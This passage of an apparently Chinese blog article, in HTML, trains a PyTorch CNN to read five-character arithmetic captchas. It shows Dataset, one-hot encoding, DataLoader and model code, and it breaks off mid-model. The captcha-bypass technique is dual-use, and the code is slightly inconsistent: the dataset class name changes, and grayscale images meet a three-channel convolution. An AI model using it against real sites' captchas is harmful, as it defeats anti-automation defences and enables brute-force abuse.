js_insertlocalimg" data-ratio="0.729106628242075" data-s="300,640" style="" data-type="png" data-w="694" src="https://wechat2rss.xlab.app/img-proxy/?k=fff498e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MXho4pYvlTOtm3KozU01wNVY6OPbNXntWF1acYdzzeh8hTPcFQeDsZPu1alonbxjh5pBaGdslWOWQ%2F640%3Fwx_fmt%3Dpng"/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">分割识别</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">从上面来看识别效果不是太好，所以后面就放弃了这种方法。</p><blockquote style="line-height: inherit;padding: 15px 15px 15px 1rem;font-size: 0.9em;color: rgb(129, 145, 152);border-left-width: 6px;border-left-color: rgb(220, 230, 240);background: rgb(242, 247, 251);overflow: auto;overflow-wrap: normal;word-break: normal;"><p style="font-size: inherit;color: inherit;line-height: inherit;">也可以先分割验证码，之后用ddddocr进行识别，中间的运算符可以采用上述的方法进行识别。这里就说一个思路，不具体实现了。一来比较麻烦，二来是运算符处理的效果也不会太好，但最终的结果会比直接分割识别这种方法好。</p></blockquote><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">这是ddddocr识别效果，有一个没识别出来，不过准确率还挺高。</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7579250720461095" data-s="300,640" style="" data-type="png" data-w="694" src="https://wechat2rss.xlab.app/img-proxy/?k=2dbd5ca2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MXho4pYvlTOtm3KozU01wNVK3icIm2fpHx283tIA89bsmHmUl6OzgmGlodx7YiazQyzzLib85UpQiaGdw%2F640%3Fwx_fmt%3Dpng"/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">ddddocr识别</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">接下来就使用pytorch进行训练。</p><h3 style="line-height: inherit;margin-top: 1.5em;font-weight: bold;font-size: 1.3em;margin-bottom: 2em;margin-right: 5px;padding: 8px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;">2.pytorch识别</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">pytorch训练验证码的过程都差不多，这里从网上找了一套修改了一下。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">样本已经有了，首先对验证码进行分析。验证码字符一共有16种，分别为：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">0123456789+-×÷=？<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">验证码长度为5</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">captcha_array</span> = list(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;0123456789+-×÷=？&#34;</span>)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">captcha_size</span> = <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">5</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">接下来就是Datasets数据加载。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">pytorch有非常方便高效的数据加载模块<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">Dataset</code>和<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">DataLoader</code>。<br/>Dataset是数据样本的封装，可以很方便的读取数据。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">实现一个Dataset的子类，需要重写<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">__len__</code>和<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">__getitem__</code>方法，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">__len__</code>需要返回整个数据集的大小，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">__getitem__</code>提供一个整数索引参数，返回一个样本数据（一个图片张量和一个标签张量）。主要代码如下：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">class</span> <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">MyDataset</span><span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">(Dataset)</span>:</span><br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">def</span> <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">__init__</span><span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">(self, root_dir)</span>:</span><br/>        super(MyDataset, self).__init__()<br/>        self.image_path = [os.path.join(root_dir, image_name) <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> image_name <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">in</span> os.listdir(root_dir)]<br/>        self.transforms = transforms.Compose(<br/>            [<br/>                transforms.ToTensor(),<br/>                transforms.Resize((<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">60</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">160</span>)),<br/>                transforms.Grayscale()  <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># 灰色</span><br/>            ]<br/>        )<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">def</span> <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">__len__</span><span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">(self)</span>:</span><br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> self.image_path.__len__()<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">def</span> <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">__getitem__</span><span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">(self, index)</span>:</span><br/>        image_path = self.image_path[index]<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># print(image_path)</span><br/>        image = self.transforms(Image.open(image_path))<br/>        ll = image_path.split(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;/&#34;</span>)[<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">-1</span>]<br/>        ll = ll.split(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;_&#34;</span>)[<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>] <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">#验证码文本</span><br/>        label_tensor = one_hot.text2Vec(ll)  <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># [5,16]</span><br/>        label_tensor = label_tensor.view(<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">-1</span>)[<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>]  <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># [5*16]</span><br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># print(label)</span><br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> image, label_tensor<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">其中<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">text2Vec</code>是将验证码进行onehot编码，这里是变成一个5*16的数组。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">主要代码:</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">def</span> <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">text2Vec</span><span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">(text)</span>:</span><br/>    vec = torch.zeros(common.captcha_size, len(common.captcha_array))<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> i <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">in</span> range(len(text)):<br/>        vec[i, common.captcha_array.index(text[i])] = <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">1</span><br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> vec<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">比如说<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">0×4=？</code>转换的结果就如下：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">tensor([[<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">1.</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0.</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0.</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0.</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0.</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0.</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0.</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0.</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0.</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0.</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0.</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0.</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0.</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0.</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0.</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0.</span>], <span style="font-size: inherit;line-height: inherit;color: rgb(91, 218, 237);overflow-wrap: inherit !important;word-break: inherit !important;"># 0</span><br/>        [<span style="font-size: inherit;line-height: inherit;color: rgb(91, 218, 237);overflow-wrap: inherit !important;word-break: inherit !important;">0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 1., 0., 0., 0.</span>], <span style="font-size: inherit;line-height: inherit;color: rgb(91, 218, 237);overflow-wrap: inherit !important;word-break: inherit !important;"># ×</span><br/>        [<span style="font-size: inherit;line-height: inherit;color: rgb(91, 218, 237);overflow-wrap: inherit !important;word-break: inherit !important;">0., 0., 0., 0., 1., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0.</span>], <span style="font-size: inherit;line-height: inherit;color: rgb(91, 218, 237);overflow-wrap: inherit !important;word-break: inherit !important;"># 4</span><br/>        [<span style="font-size: inherit;line-height: inherit;color: rgb(91, 218, 237);overflow-wrap: inherit !important;word-break: inherit !important;">0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 1., 0.</span>], <span style="font-size: inherit;line-height: inherit;color: rgb(91, 218, 237);overflow-wrap: inherit !important;word-break: inherit !important;"># =</span><br/>        [<span style="font-size: inherit;line-height: inherit;color: rgb(91, 218, 237);overflow-wrap: inherit !important;word-break: inherit !important;">0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 1.</span>]]) <span style="font-size: inherit;line-height: inherit;color: rgb(91, 218, 237);overflow-wrap: inherit !important;word-break: inherit !important;"># ？</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">对应的还原方法:</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">def</span> <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">vec2Text</span><span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">(vec)</span>:</span><br/>    vec = torch.argmax(vec, dim=<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>)  <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># 取最大值，不是0的取出来</span><br/>    text = <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#39;&#39;</span><br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> i <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">in</span> vec:<br/>        text += common.captcha_array[i]<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> text<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">DataLoader是Dataset的进一步封装，Dataset每次通过<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">__getitem__</code>方法取到的是一个样本，经过DataLoader封装为dataloader后，每次取的是一个batch大小的样本批次。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">主要代码：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">transform = transforms.Compose([transforms.ToTensor()])  <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># 不做数据增强和标准化了</span><br/>train_dataset = CaptchaData(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#39;./datasets/train/&#39;</span>, transform=transform)<br/>train_data_loader = DataLoader(train_dataset, batch_size=<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">32</span>, num_workers=<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>, shuffle=<span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">True</span>, drop_last=<span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">True</span>)<br/>test_data = CaptchaData(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#39;./datasets/test/&#39;</span>, transform=transform)<br/>test_data_loader = DataLoader(test_data, batch_size=<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">128</span>, num_workers=<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>, shuffle=<span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">True</span>, drop_last=<span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">True</span>)<br/></code></pre><blockquote style="line-height: inherit;padding: 15px 15px 15px 1rem;font-size: 0.9em;color: rgb(129, 145, 152);border-left-width: 6px;border-left-color: rgb(220, 230, 240);background: rgb(242, 247, 251);overflow: auto;overflow-wrap: normal;word-break: normal;"><p style="font-size: inherit;color: inherit;line-height: inherit;"><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">transforms</code>是数据预处理操作，一般数据增强就通过transform实现，可以随机亮度，随机翻转，随机缩放等等。此处只使用了<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">ToTensor()</code>，将<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">PIL.Image</code>对象转换成Tensor。</p></blockquote><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">训练采用了CNN神经网络，CNN主要由卷积层，池化层，激活函数组成，再加上一个BatchNorm，BatchNorm叫做批规范化，可以加速模型的收敛速度。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">模型的主要代码:</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">class</span> <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">Net</span><span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">(nn.Module)</span>:</span><br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">def</span> <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">__init__</span><span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">(self)</span>:</span><br/>        super(Net, self).__init__()<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># 第一层神经网络</span><br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># nn.Sequential: 将里面的模块依次加入到神经网络中</span><br/>        self.layer1 = nn.Sequential(<br/>            nn.Conv2d(<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">3</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">16</span>, kernel_size=<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">3</span>, padding=<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>),  <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># 3通道变成16通道，图片：60*160</span><br/>            nn.BatchNorm2d(<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">16</span>),<br/>            nn.ReLU(),<br/>            nn.MaxPool2d(<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">2</span>)<br/>        )<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># 第2层神经网络</span><br/>        self.layer2 = nn.Sequential(<br/>            nn.Conv2d(<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">16</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">64</span>, kernel_size=<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">3</span>),  <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># 16通道变成64通道，图片：30*80</span><br/>            nn.BatchNorm2d(<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">64</span>),<br/>            nn.ReLU(),<br/>            nn.MaxPool2d(<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">2</span>)<br/>        )<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># 第3层神经网络</span><br/>        self.layer3 = nn.Sequential(<br/>            nn.Conv2d(<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">64</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">128</span>, kernel_size=<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">3</span>),  <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># 64通道变成128通道，图片：14*39</span><br/>            nn.BatchNorm2d(<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">128</span>),<br/>            nn.ReLU(),<br/>            nn.MaxPool2d(<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">2</span>)<br/>        )<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># 第4层神经网络</span><br/>        self.fc1 = nn.Sequential(<br/>            nn.Linear(<span style="font-size: inherit;line-height: 